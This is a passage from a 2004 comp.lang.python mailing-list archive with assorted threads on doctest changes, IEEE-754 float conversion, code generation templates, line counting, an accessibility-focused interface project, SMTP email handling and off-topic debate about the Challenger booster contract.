directory separators.)  That may not help you much, though, since that's 
not your code.  (If you're not already reporting this as a [series of] 
bug[s] in DrPython, you probably should...)

Given that fixing DrPython isn't a very practical option for you, I'd 
say that wrapping the os module may be the best option left, but I'm not 
sure how one would go about that.  Given that os is a built-in module, 
you'd probably have to pull some trickery with sys.modules once the 
interpreter was started, and I don't understand that whole process well 
enough to be able to offer specific advice.

Jeff Shannon
Technician/Programmer
Credit International



From me at privacy.net  Thu Sep 23 18:06:31 2004
From: me at privacy.net (Richard Hanson)
Date: Thu, 23 Sep 2004 15:06:31 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<mailman.3778.1095940977.5135.python-list@python.org>
Message-ID: <45i6l096tkma3ii47m4ll9f2usuknnpobn@4ax.com>

Nice to find that my off-topic post was taking seriously even if I
*did* use lots of smileys and such -- as well as positing a possibly
seemingly grandiose set of ideas. :-)

Carlos Ribeiro wrote:

> I really like this kind of stuff. Information management, knowledge
> management, complexity management, you name it -- it's a increasingly
> interesting topic. Appliances also are relevant, as it is seamless
> networking.

Check on all the above -- and many thanks for the kind words and vote
of confidence.

It is my thesis that the world is experiencing a "complexity bomb" if
you will -- a combinatorial explosion of complexity in all things --
and that compsci has been dealing with managing complexity for
decades, and that if the world doesn't turn to the complexity-control
experts (compsci folks), then things may well be grim in the coming
years.

I've long been frustrated, though, that even in the computer industry,
the mainstream has gone the WIMPy way :-) -- instead of continuing to
innovate re HCIs. While I have personal, selfish reasons for working
on my project (such as finding that I am spending more and more time
trying just to *find* stuff on my harddrives, and being increasingly
hampered by a diminishing ability to drive mouses all around the
screen :-) ), I also realize from helping many of my non-computer-type
friends that they are mostly totally bewildered about such
distinctions as harddrives-directories-files, OS-apps, etc. Commonly,
I get frantic calls asking for help to fix their computers, often
with, "I was cleaning off my harddrive and now my computer doesn't
work." Usually, this sort of problem turns out to be that they deleted
the Windows directory, or perhaps that the Program Files directory
seemed a wee bit too cluttered, and so on... :-) The blame points
towards poor design and quite misleading marketeering on the
industry's part, I respectfully submit. The public thought they were
buying a microwave but got a space shuttle... :-/

I realized in my original epiphany perhaps seven or eight years ago,
that something like Pathfinder was possible which would be safe and
easy for Granny, and yet allow me to be much more productive, as well.

> I heed you to check Microsoft's documents on "how Longhorn will be
> great" :-) 

Heh. When they announced such a few years ago, I felt a bit validated
that my ideas were not psychotic. :-) But also, I felt an urgency to
get an open-source version out. As I said in my original post,
however, I had no time at that time, to devote to Pathfinder while I
was involved in another project.

(I also note that MS has recently announced that they are dumping the
database file system from Longhorn as they scramble in the Sysiphean
task of "fixing Windows." :-) )

> Seriously, they're working hard to create a new paradigm
> for the Windows desktop, and some of the things that you talk about
> are discussed there too -- namely, they're hiding folders, drive
> names, etc, from the user view, and creating a new and much simplified
> user interface. 

I am somewhat familiar with MS's theoretical work. However, it is also
my thesis, that open-source software (with a suitable BDFL -- likely
not me, as I'm getting too old; perhaps I could be a pope or
something... ;-) ) won't... uh... screw things up as badly as a
profit-driven megacorp. (MS *does* have the ability to solve the
hardware platform problem -- something OSS may have greater difficulty
dealing with.)

> Google is known to be working on something similar --
> your computer will be just a big Google-indexed repository of
> information. No more trying to file things into folders, Google will
> categorize and locate things back for you in a snap.

Now Google is a horse of a different color. :-) Yet, with their
incredible success, one wonders if profit-motives could possibly
squelch innovation? And now that they're going public, they'll have to
answer to the stockholders -- now *that* cannot be good... ;-)

I know the founders of Google are some big branes, and that Python was
used originally, and still is, in their shop. That's a good sign. :-)

(By the way, ideally, Pathfinder would not use trees of directories --
"flat is better than nested." [Indeed, initial prototypes would have
to kludge a flat structure on top of the directory trees used in
Windows and other file systems, as Windows in particular, really bogs
down with a dir containing ten of thousands of objects, say. And we're
talking about hundreds of thousands of objects, at least.]
Pathfinder's "button-panel" menu-structure *could* be a
"simply-connected" tree, but wouldn't have to be -- the menu-structure
could just as easily be "non-simply-connected" [presuming I have the
nomenclature correct]. Additionally, the menu-structure would be
easily changeable by the user: some may want the same leaf to be
located in several or many branches, or that a leaf be found via
several different routes. I would think that there would be some
standard menu-structures provided, but also that the users may well
want to change the dynamically labeled button-panel menu-structure,
themselves, and such should be made easy to do.)

---

There also is a developer in Italy with an open-source project that
features many of Pathfinder's ideas. While his work is good, and his
work further validated mine -- indeed, some of his writing reads
eerily like my own copious notes on Pathfinder -- his project is not
the complete "paradigm shift" that Pathfinder is envisioned to be,
particularly re accessibility issues.

> A project of this size is really big and ambitious. A suggestion is to
> create a new mailing list and to start discussing it there. If it's in
> Python, I'm sure you can thrown baits here at c.l.py from time to time
> to hook new people :-)

Thanks for that suggestion!

(Perhaps I should also hook up with the Italian developer mentioned
above...? I've lost the link to his website, but maybe I'll find time
to relocate it via Google.)

But back to your excellent suggestion: My concern is that I may not be
around along enough to even get the project launched in the envisioned
direction. (Thus, my "dumping" of my off-topic post in here,
yesterday.)

But, you have *greatly* encouraged me; perhaps I *can* get a prototype
working -- such would speak volumes louder (to mangle metaphors :-) )
than just a posting of some ideas by a newcomer to c.l.py
(active-posting-wise; I've been lurking here and elsewhere for years).

If I am successful in getting some reliable hardware rebuilt (I use
laptops, preferably with touchscreens, due to physical handicaps), I
may well be able to get a prototype of Pathfinder implemented. Python
makes the development of even big projects so much easier than the
myriad of languages I've used prior, that there is a slight chance
that I could get something working, perhaps...

(I have hesitated to mention my physical limitations even though I
hinted at my age, and obtusely to health problems, in my email
address, as such can often be taken for whiny complaining. :-) But,
ultimately, my physical limitations have been a blessing in disguise
for many, many reasons. Indeed, it is the arthritis in my arms and
hands which has been some of my main impetus for the "button-panel"
replacement of the WIMP interface which I elaborated on more in my
original Pathfinder posting, yesterday. And, in many other ways, I
have found much silver within the clouds. So I am decidedly *not*
complaining, nor even remotely bitter, nor whining, etc. about my
limitations. I want to be absolutely clear about *this* point.
However, accessibility issues *are* related to HCI issues, so perhaps
it *is* appropriate that I mention my own situation at this juncture.)

---

The more I think about it, the more I like your mailing-list idea.
I'll see if I can figure out how to start one which is mirrored-by and
postable-to the newsserver Gmane -- I like their resistance to
disclosing private email addresses which spammers could harvest.

---

I'm more of a generalist; it is slightly possible that I am not
deluded in my thinking that my background in programming *and* art may
well be the requisite background that folks bent on improving the HCI
will need. My being intimately familiar with the accessibility issues
of physically handicapped folks may also be of benefit in improving
the HCI situation. (And, of course, laziness is a *very* good
motivation for innovation... ;-) )

Well, I've rambled way too long, again. :-)

I will post any notes pertaining to this project's progress, i.e.,
becoming more concrete, even if it's just an announcement of a
mailing-list as you suggest, here in c.l.py.

Again, thanks very much for your comments. I shall continue to forge
ahead as time and energy allows. At least now, some distillations of
my notes from years of work (mostly back-burner stuff till very
recently) is in the public record.

And, once again, thanks very much if you or anyone has read through
this far. 

(I'm afraid if I keep posting, I *could* turn into a "postingbot"
rivaling some of c.l.py's best-loved and most-prolific writers. :-) ) 


the-grandeur-of-delusions'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Thu Sep 16 15:49:55 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Thu, 16 Sep 2004 21:49:55 +0200
Subject: How to detect open windows applications
References: <82d4be71.0409160655.234749ab@posting.google.com>
Message-ID: <cicqq6$kra$1@news-reader4.wanadoo.fr>

Hi ! 

Search the process.

@-salutations
-- 
Michel Claveau 




From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Wed Sep 29 18:38:47 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Wed, 29 Sep 2004 23:38:47 +0100
Subject: Avoiding shell metacharacters in os.popen
In-Reply-To: <slrnclm1vh.oif.nick@irishsea.home.craig-wood.com>
References: <slrncllk2p.m4f.nick@irishsea.home.craig-wood.com>
	<AIOdnUpr9ZfUdcfcRVn-ug@giganews.com>
	<slrnclm1vh.oif.nick@irishsea.home.craig-wood.com>
Message-ID: <cjfdhu$4g3$1@gemini.csx.cam.ac.uk>

Nick Craig-Wood wrote:

> As I pointed out in my post there isn't an equivalent for
> os.popen* which doesn't go via the shell (except for undocumented
> os.popen2).

Is it the undocumented nature of it that is unnerving you?

I submitted a bug on the documentation more than six months ago but no 
one has responded.

http://sourceforge.net/tracker/?func=detail&aid=907457&group_id=5470&atid=105470
-- 
Michael Hoffman


From mwh at python.net  Wed Sep 15 07:40:08 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Sep 2004 11:40:08 GMT
Subject: Subclassing in C
References: <I4057u.3Er@research.att.com>
	<m31xh59i9h.fsf@pc150.maths.bris.ac.uk>
	<41470D3A.1040206@research.att.com>
	<m3vfeg965o.fsf@pc150.maths.bris.ac.uk> <2qpf83F12ff6iU1@uni-berlin.de>
Message-ID: <m3oek792w8.fsf@pc150.maths.bris.ac.uk>

Leif K-Brooks <eurleif at ecritters.biz> writes:

> Michael Hudson wrote:
> > Iker Arizmendi <iker at research.att.com> writes:
> > 
> >>(*) The class I'm deriving from is defined in another
> >>extension module and it has its own tp_getattr method.
> > Hmm.  I take it *it's* tp_getattr[o] method isn't
> > PyObject_GenericGetAttr then?
> 
> [Emphasis not mine.]
> 
> Sorry, but Iker had it right and you had it wrong. "Its", with no
> apostrophe, is possessive; "it's", with an apostrophe, is a
> contraction of "it is". Therefor, "It's red." and "Its color is red."
> are both correct.

Believe me, I know.  However, I type fairly fast, and very often make
this mistake.  (I cringed when my post came back to me from the
newsserver).

Cheers,
mwh

-- 
  I have *both* hands clapping, but I'm still not sure it's a sound.
  When I tried deciding if it were a sound while clapping only one
  hand, I fell off my chair.
                         -- Peter Hansen, Zen master, comp.lang.python


From michele.simionato at gmail.com  Mon Sep  6 23:41:53 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 6 Sep 2004 20:41:53 -0700
Subject: doctest.Tester is deprecated
References: <4edc17eb.0409052338.69012ee7@posting.google.com>
	<mailman.2930.1094484289.5135.python-list@python.org>
Message-ID: <4edc17eb.0409061941.6274b130@posting.google.com>

Tim Peters <tim.peters at gmail.com> wrote in message news:<mailman.2930.1094484289.5135.python-list at python.org>...
> [Michele Simionato]
> > Some time ago I hacked a custom solution to run doctests
> > on text files containing documentation. The solution
> > involved this kind of game:
> >
> > tester=doctest.Tester(globs={},verbose=1)
> > tester.runstring(mytest)
> >
> > It worked fine, but now with Python 2.4.a3 I get
> >
> > DeprecationWarning: class Tester is deprecated; use class
> > doctest.DocTestRunner instead
> >
> > The problem is that DocTestRunner is not a replacement for Tester, it
> > has no runstring method!
> >
> > So, how what am I supposed to do?
> 
> In the worst case, I suppose you could copy the Tester implementation
> from 2.4 and maintain it yourself,  In the meantime, Tester is still
> there.
> 
> But I'd encourage you to think about better approaches.  Most people
> are using unittest to *drive* their test strategies, because it's
> simply a much better (than doctest) framework for stitching together
> many tests of various kinds from various places.
> 
> So the total refactoring of doctest for 2.4 gave up on doctest's
> feeble "stitch tests together" gimmicks, and focused instead on better
> support for playing with unittest.  The latter is what the people who
> *contribute* to doctest use, so that's what gets loving attention.
> 
> You didn't say enough to guess whether this is appropriate, but the
> new-in-2.4 doctest.DocFileSuite() creates a unittest suite directly
> from one or more paths to text files containing doctests.  For
> example,
> 
> --- a.txt ---------------------------------------------------
> This is a text file containing doctests.
> 
> >>> print 3*14
> 42
> --- b.txt ---------------------------------------------------
> And so is this.
> 
> >>> print 42
> 24
> --- temp.py --------------------------------------------------
> import doctest, unittest
> suite = doctest.DocFileSuite('a.txt', 'b.txt')
> unittest.TextTestRunner().run(suite)
> 
> 
> That built a simple unittest driver from scratch.  It does the usual
> unittest business of printing a dot for each test it runs (etc), and
> displays the failure, identifying file path and line number in a
> useful way (e.g., Emacs can parse the "File" line, and jump directly
> to the failing example):
> 
> File "b.txt", line 3, in b.txt
> Failed example:
>     print 42
> Expected:
>     24
> Got:
>     42
> 
> Of course you get to exploit all the rest of unittest's features this way too.
> 
> If you want to roll your own and avoid unittest, you can stitch it
> together out of the new DocTestRunner and DocTestParser classes. 
> That's what Tester.runstring() does in 2.4.  Note that doctest no
> longer makes any use of Tester -- it's there solely for backward
> compatibility.
> 
> Unfortunately, a lot of new stuff isn't yet covered in the LaTeX docs.


Ah! DocFileSuite is *exactly* what I want, I used Tester to implement it
by hand (of course, in a more primitive way). My confusion was with the

> > DeprecationWarning: class Tester is deprecated; use class
> > doctest.DocTestRunner instead

It could say 

"use class doctest.DocTestRunner or doctest.DocFileSuite instead"

Of course the better solution would be to have the documentation finished ;)

BTW, I am convinced user of doctests since I feel them simpler, more readable
and expecially more maintanable than unittests. Moreover they feel to me
more "pythonic" than unittest, that certainly reflect their Smalltalk/Java
origin.

I welcome these new additions to doctest. I hurry to try them! ;)


                     Michele Simionato


From dale_huffman at steris.com  Tue Sep 14 09:04:24 2004
From: dale_huffman at steris.com (Dale Huffman)
Date: 14 Sep 2004 06:04:24 -0700
Subject: IEEE 754 floats
Message-ID: <a2a325a7.0409140504.2d36562b@posting.google.com>

Is there a simple way to convert an IEEE-754 floating point ascii
string ( "0x40400000" = 3.0, 32bit ) into a float variable, without
writing a function to do the math.  I have transferred this across a
network from a device I have no contol over and it sends all data as a
string.  Everything I have tried just converts from hex to decimal and
adds a decimal point and a zero.

string.atof("0x40400000")  returns 1077936128.0

In case I'm not explaining clearly, what I'm looking for could be
coded in C as follows:

int     a = 0x40400000;
float *ap = (float *)&a;	

float myFloat = *ap;

Sorry if the C offeded anyone in the Py crowd but I'm new to Python
and so far it rocks - I just don't have the basics down yet.


From rstephens at vectron.com  Fri Sep 24 14:53:25 2004
From: rstephens at vectron.com (Ron Stephens)
Date: 24 Sep 2004 11:53:25 -0700
Subject: Python in a Nutshell for Python 2.4
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
	<1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
	<mailman.3790.1095959172.5135.python-list@python.org>
	<1gkl90k.amhv49fizafzN%aleaxit@yahoo.com>
Message-ID: <a5415304.0409241053.77f92782@posting.google.com>

Speaking of platform specific Python  books (other than Mark Hammond's
Windows book), what a great idea! There is at least one enthusiastic
customer for a Mac OS X specific Python book (me!).

Ron Stephens


From ljelmore_ at _comcast_._net  Fri Sep  3 22:08:22 2004
From: ljelmore_ at _comcast_._net (Larry Elmore)
Date: Sat, 04 Sep 2004 02:08:22 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <1094257487.855439@teapot.planet.gong>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
Message-ID: <qs9_c.235307$8_6.157753@attbi_s04>

Rupert Pigott wrote:
> Larry Elmore wrote:
> 
> [SNIP]
> 
>> The gaskets wouldn't have been necessary if the SRBs had been built in 
>> a single piece instead of having to be assembled from seven sections. 
>> The problem was that one-piece SRBs are too big for land transport, 
>> and for political reasons (i.e., buying support), the SRBs were to be 
>> built in Utah by Morton-Thiokol. Ergo, multi-section SRBs with gaskets 
>> "required".

Erk, _four_ sections, not seven. Not sure where that came from. :(

> I would hope that Morton Thiokol's experience at building a diverse
> range of rockets might have been a factor in the decision too. I
> suppose they might have systematically fired every rocket scientist
> they had (wouldn't put it past a PHB) to save cost though. :)

http://www.ae.utexas.edu/~lehmanj/ethics/srb.htm

"Competition for the SRB Contract"

"Four companies bid for the contract to design and manufacture the solid 
rocket boosters (SRBs). Aerojet Solid bid the program at $655 million, 
United Technologies at $710 million, Morton Thiokol at $710 million, and 
Lockheed at $714 million. All the bids were relatively similar in both 
price and technology. Based on cost, the NASA advisory panel recommended 
that the contract be awarded to Aerojet; they believed that money could 
be saved without sacrificing technical quality by choosing the lowest 
bid. NASA administrator Dr. James Fletcher overruled this recommendation 
and awarded the contract to Morton Thiokol in Brigham City, Utah. 
Aerojet appealed the decision and after many allegations and 
counter-allegations, the GAO (General Accounting Office) was instructed 
by Congress to investigate the matter. The GAO found that the contract 
award procedure was not improper. NASA regulations clearly stated that 
the decision was to be made by the chief administrator, not the advisory 
panel. However, the GAO could find no reason for selecting Morton 
Thiokol over Aerojet and recommended that NASA reconsider the decision [1]."

"Political Compromises in the Contract"

"The nature of the political connections between the Space Program and 
prominent figures of the state of Utah has long been debated. Utah 
Senators Jake Garn and Frank Moss have been active supporters of the 
Space Program, particularly when it benefits Utah-based industries. 
There is nothing wrong with this; Representatives of Congress are 
expected to be interested in furthering the activities of their 
constituents. The real cloud of suspicion hung over former Morton 
Thiokol employees who worked for NASA at the time of the contract award, 
and the head of NASA itself, Dr. James Fletcher [4]."

"Dr. Fletcher served as the President of the University of Utah from 
1964 through 1971. His connections with the state and its industries 
were numerous and far reaching, but he denied that these connections had 
any influence on his decision to award the SRB contract to Morton 
Thiokol. However, many people who observed the contract award process 
remained unconvinced. Fletcher's inability to provide solid reasons for 
the selection of Morton Thiokol over Aerojet did nothing to ease the 
controversy surrounding the decision; his reasons were vague and 
referred to minor points in the advisory committee's study. NASA's 
refusal to discuss whether former Morton Thiokol employees had been part 
of the advisory committee simply fueled speculation of wrong-doing. 
Whether Morton Thiokol used political influence to secure the SRB 
contract has never been determined, but lack of clear answers caused 
many to conclude that the contract may have been awarded improperly[1]."

> Too many ifs & butts. IMO. Folks caved to political pressure, but
> the blame doesn't just lie with the rank and file. The folks
> applying the pressure from the top would have known full well what
> they were doing. If they didn't they were unfit for the task, if
> not negligent anyways.

Oh, it appears to me the problem was almost entirely with the PHBs both 
at NASA and at Morton-Thiokol. Engineers at Morton-Thiokol knew there 
was a problem long before the accident, as did people at NASA.

--Larry


From aleaxit at yahoo.com  Wed Sep  8 11:57:16 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 8 Sep 2004 17:57:16 +0200
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
	<slrncju9df.8jt.hat@se-126.se.wtb.tue.nl>
Message-ID: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com>

Albert Hofkamp <hat at se-126.se.wtb.tue.nl> wrote:

> On 7 Sep 2004 23:51:38 -0700, Tran Tuan Anh <anhtt at hotmail.com> wrote:
> > Right now, the generator program is written in C++. And I feel not so
> > comfortable with C++. I feel C++ is an overkill. Because, I need to
> > generate some code, hence in the program there are a lot of something
> > like this:
> > 
> > printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName,
> > varName1, varname, varName2);
> > 
> > It is just too messy if I have more than 20 lines like this.
> 
> Agreed, reached that same conclusion.
> Therefore, I switched to something like
> 
> output="""for ($VAR = 1, $VAR < $START, $VAR < $END)"""

Uh, OT, but, doesn't this work better with semicolons than commas...?

> 
> output=string.replace(output,"$VAR",varName)
> output=string.replace(output,"$START",varName1)
> output=string.replace(output,"$END",varName2)
> 
> Obviously, this can be enhanced.
> (use other conventions than $identifier, and performing the substitution
> in a loop).
> BTW: I am not sure string.replace works OK as shown here.

Yep, though output.replace(...) would be neater.  But the best
replacement is already in the Python 2.4 standard library: it uses
exactly the $identifier convention, and takes a dictionary of mapping of
identifier to string...:

In [4]: tpl=string.Template('for ($VAR = 1, $VAR < $START, $VAR <
$END)') 

In [5]: tpl % dict(VAR='foo', START='bar', END='baz')
Out[5]: u'for (foo = 1, foo < bar, foo < baz)'

In [6]: tpl % dict(VAR='fee', START='fie', END='fofum')
Out[6]: u'for (fee = 1, fee < fie, fee < fofum)'



Alex


From julioperezsosa at yahoo.com  Sun Sep 19 21:13:39 2004
From: julioperezsosa at yahoo.com (julio)
Date: Sun, 19 Sep 2004 21:13:39 -0400
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
Message-ID: <cilas7$3lm$1@sea.gmane.org>

Istvan Albert wrote:

> go away, troll

Nice argument.

And my the facts are not just about ides, as i mentioned in the original
mail. Is people so close minded to resist change ? things change , is
human's nature to resist the change. 

But am i lying? am i missing something ? is python just suited for small
system programing scripts ? why does gnome team doesnt even bother to
consider python as an option, but considers java just because eclipse? 

http://news.zdnet.co.uk/software/applications/0,39020384,39166682,00.htm

what about google ? 

http://www.topcoder.com/pl/?&module=Static&d1=google04&d2=overview

what about sourceforge ? 

http://sourceforge.net/softwaremap/trove_list.php?form_cat=160

But why so much resistence to the change ? is the denyal of reality fine?
why dont you care? i wouldnt care if i used python for small system
scripts.



From bvande at po-box.mcgill.ca  Mon Sep 20 13:03:30 2004
From: bvande at po-box.mcgill.ca (Brian van den Broek)
Date: Mon, 20 Sep 2004 13:03:30 -0400
Subject: How to count lines in a text file ?
In-Reply-To: <414edcba$0$26399$ba624c82@nntp02.dk.telia.net>
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<mailman.3562.1095686871.5135.python-list@python.org>
	<414edcba$0$26399$ba624c82@nntp02.dk.telia.net>
Message-ID: <414F0D62.8040306@po-box.mcgill.ca>

Ling Lee said unto the world upon 2004-09-20 09:36:
> Thanks for you replies :)
> 
> I just ran the program with a different file name, and it only counts the 
> number of lines in the file named test.txt. I try to give it a nother try 
> with your input...
> 
> Thanks again... for the fast reply... Hope I get it right this time :)
> 
> 

<SNIP>

>>On Mon, Sep 20, 2004 at 03:18:53PM +0200, Ling Lee wrote:
>>
>>>Hi all.
>>>
>>>I'm trying to write a program that:
>>>1) Ask me what file I want to count number of lines in, and then counts 
>>>the
>>>lines and writes the answear out.
>>>
>>>2) I made the first part like this:
>>>
>>>in_file = raw_input("What is the name of the file you want to open: ")
>>>in_file = open("test.txt","r")
>>>text = in_file.read()
>>>
>>>3) I think that I have to use a for loop ( something like: for line in 
>>>text:
>>>count +=1)
>>>Or maybee I have to do create a def: something like: ( def loop(line,
>>>count)), but not sure how to do this properly.
>>>And then perhaps use the readlines() function, but again not quite sure 
>>>how
>>>to do this. So do one of you have a good idea.
>>>
>>>Thanks for all help 

Hi Ling Lee,

you've got:

in_file = raw_input("What is the name of the file you want to open: ")
in_file = open("test.txt","r")

What this does is take the user input and assign it the name "in_file" 
and then promptly reassigns the name "in_file" to the output of 
open("test.txt","r").

So, you never make use of the input, and keep asking it to open test.txt 
instead.

Try something like:

in_file_name = raw_input("What is the file you want to open: ")
in_file = open(in_file_name,"r")

Also, and I say this as a fellow newbie, you might want to check out the 
Tutor list: <http://mail.python.org/pipermail/tutor/>

HTH,

Brian vdB



From carribeiro at gmail.com  Tue Sep 14 18:43:58 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 14 Sep 2004 19:43:58 -0300
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <96c2e938.0409141356.3a689f@posting.google.com>
References: <864d3709040913131077f1732d@mail.gmail.com>
	<HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com>
	<mailman.3307.1095171351.5135.python-list@python.org>
	<96c2e938.0409141356.3a689f@posting.google.com>
Message-ID: <864d370904091415435d15506c@mail.gmail.com>

On 14 Sep 2004 14:56:56 -0700, G. S. Hayes <sjdevnull at yahoo.com> wrote:
> Some window managers for Unix/X11 will allow you to group windows
> together and move/minimize/maximize/etc the windows as a group.  It's
> really nice for situations like this.  Virtual desktops can be useful
> for organization as well.
> 
> Maybe you could ask in comp.os.ms-windows (or a subgroup thereof) if
> anyone knows of similar software for your platform; I know that back
> in the days when I had to use windows on the desktop I was able to
> find software that gave me virtual desktops, focus follows mouse, and
> several other UI features I missed from Unix.

I've once installed a freeware app that supported virtual desktops in
Windows. It's useful, but it misses one feature of my wish list:
persistence, or the ability to restart working exactly when I left
things some time later.

To be properly implemented, persistence requires suport from the apps.
They must be well behaved as to allow the OS or the WM to save enough
info to have it restarted at the same point later. That's one of the
reasons why it is so difficult to implement properly.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From luka.milkovic at public.srce.hr  Sun Sep 12 05:53:32 2004
From: luka.milkovic at public.srce.hr (Luka Milkovic)
Date: Sun, 12 Sep 2004 11:53:32 +0200
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
	<chvb1c$tj6$00$1@news.t-online.com>
	<pan.2004.09.11.18.06.40.754033@public.srce.hr>
	<chvf4r$hbj$06$1@news.t-online.com>
Message-ID: <pan.2004.09.12.09.53.31.172850@public.srce.hr>

On Sat, 11 Sep 2004 20:11:42 +0200, Diez B. Roggisch wrote:

> That certainly has _nothing_ to do with the size of 350 - this snippet
> works perfect:
> 
> len(",".join([str(i) for i in xrange(20000)]).split(','))
> 

The thing you said here led me to a tiny clue. The splitting code is
actually not the source of the problem: i made a list looking just like
ordinary e-mail many bytes long and it did it's job great.
The clue I was thinking about is e-mail format. Is there a possibility
that mails get specially formated after a particular size? Because, my
splitting code works great, but the source of the problem is obviously
e-mail, I checked temporary file into which e-mail is saved _before_
spliting and it too contains this strange quotes.

My mailing code looks like this:

def prompt(prompt):
  return raw_input(prompt).strip()
posiljatelj = prompt("From: ")                   
primatelj = prompt("To: ").split()               
host = prompt("SMTP host: ")                     
subject = "OTP"                                  
msgin = priv                                     
x = "\n---Code block---\n"
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n"
  % (posiljatelj, string.join(primatelj, ", "), subject))  
msg = msg + x + msgin + x                        
print "Vas e-mail: ", msg                        
print ""
print "Duljina vaseg maila je " + `len(msg)` + " bajtova"     
server = smtplib.SMTP(host)                      
server.set_debuglevel(1)                         
server.sendmail(posiljatelj, primatelj, msg)     
server.quit()

I don't think there is problem in my actual SMTP code, it's more likely
that the problem lies inside the protocol itself or some special formating
style, I don't know.

> As I proved above, it has nothing to do with that. Unless you provide
> actual data I can't say more. I can only guess that 350 bytes has
> something to do with line-boundaries or similar stuff - you hit some
> sort of special case you didn't thing of or such a thing.
> 
> Do post the data, and I'm sure things will be sorted out soon.

What should I actually post?

Thank you very much Diez, I appreciate your help.


From bvande at po-box.mcgill.ca  Wed Sep 22 12:07:24 2004
From: bvande at po-box.mcgill.ca (Brian van den Broek)
Date: Wed, 22 Sep 2004 12:07:24 -0400
Subject: New to Python
In-Reply-To: <41519A2B.4010405@heneryd.com>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>
	<41519A2B.4010405@heneryd.com>
Message-ID: <4151A33C.8000908@po-box.mcgill.ca>

Erik Heneryd said unto the world upon 2004-09-22 11:28:
> Delaney, Timothy C (Timothy) wrote:
> 
>> Jimmie Webb wrote:
>>
>>
>>> Gee whiz.  Don't jump down my throat for some oversite.  It's not
>>> like I haven't put forth an effort trying to find out the problem
>>> before posting! Yeah,  your right I was reading the "CREATE TABLE
>>> line out of the SIL file. Thanks (I think)
>>
>>
>>
>> http://www.catb.org/~esr/faqs/smart-questions.html
>>
>> As far as anyone could see, you didn't do even the most basic debugging.
>>
>> Tim Delaney
> 
> 
> Haven't followed the thread, but...
> 
> I can't help to crack a smile every time I see that URL.  I doubt it 
> ever helped anyone, still it comes up now and then, typically when 
> people get tired of answering stupid questions from lazy newbies.
> 
> So, how likely is it that people too lazy to RTFM/STFW will even 
> consider some 10 000 word article (on *asking questions*, not whatever 
> their problem might be)?  Not very, I say.  Most will probably not even 
> get past the *table of contents*.  Funny thing is that people don't seem 
> to realize this - that's it's just another way to say "STFU and RTFM, 
> newbie".
> 
> 
> Erik

I understand the skepticism. I can tell you though that it certainly has 
helped me (and, probably more importantly, those on the lists where I 
ask questions). I'm not holding myself up as a model of putting the 
advice into practice, but I can assure you that the folks on the tutor 
list have a better time for my having read it :-)

Also, I'm pretty sure I have been able to tell those who were pointed to 
it, read it, and followed it in posting their next question. Seems to me 
that evidence of having taken a look might serve as a good filter for 
who can and cannot be "helped".

0.02$

Brian vdB



From narshe at gmail.com  Sat Sep 25 12:35:54 2004
From: narshe at gmail.com (Josh Close)
Date: Sat, 25 Sep 2004 11:35:54 -0500
Subject: Python and Sybase
In-Reply-To: <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com>
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
	<mailman.3815.1095972439.5135.python-list@python.org>
	<1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com>
Message-ID: <4a0cafe204092509353a1c35e7@mail.gmail.com>

On Sat, 25 Sep 2004 01:09:05 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> ...except that you may need to use different placeholders in SQL strings
> for parameters to insert (sigh)...

Forgot about that.... I use sybase for mssql connections, and freetds
doesn't have support for params, so I forgot about that.

-Josh


From ialbert at mailblocks.com  Thu Sep 30 10:34:42 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Thu, 30 Sep 2004 10:34:42 -0400
Subject: Dynamically Generating a Graph in Python
In-Reply-To: <47f7cc78.0409300618.332a3278@posting.google.com>
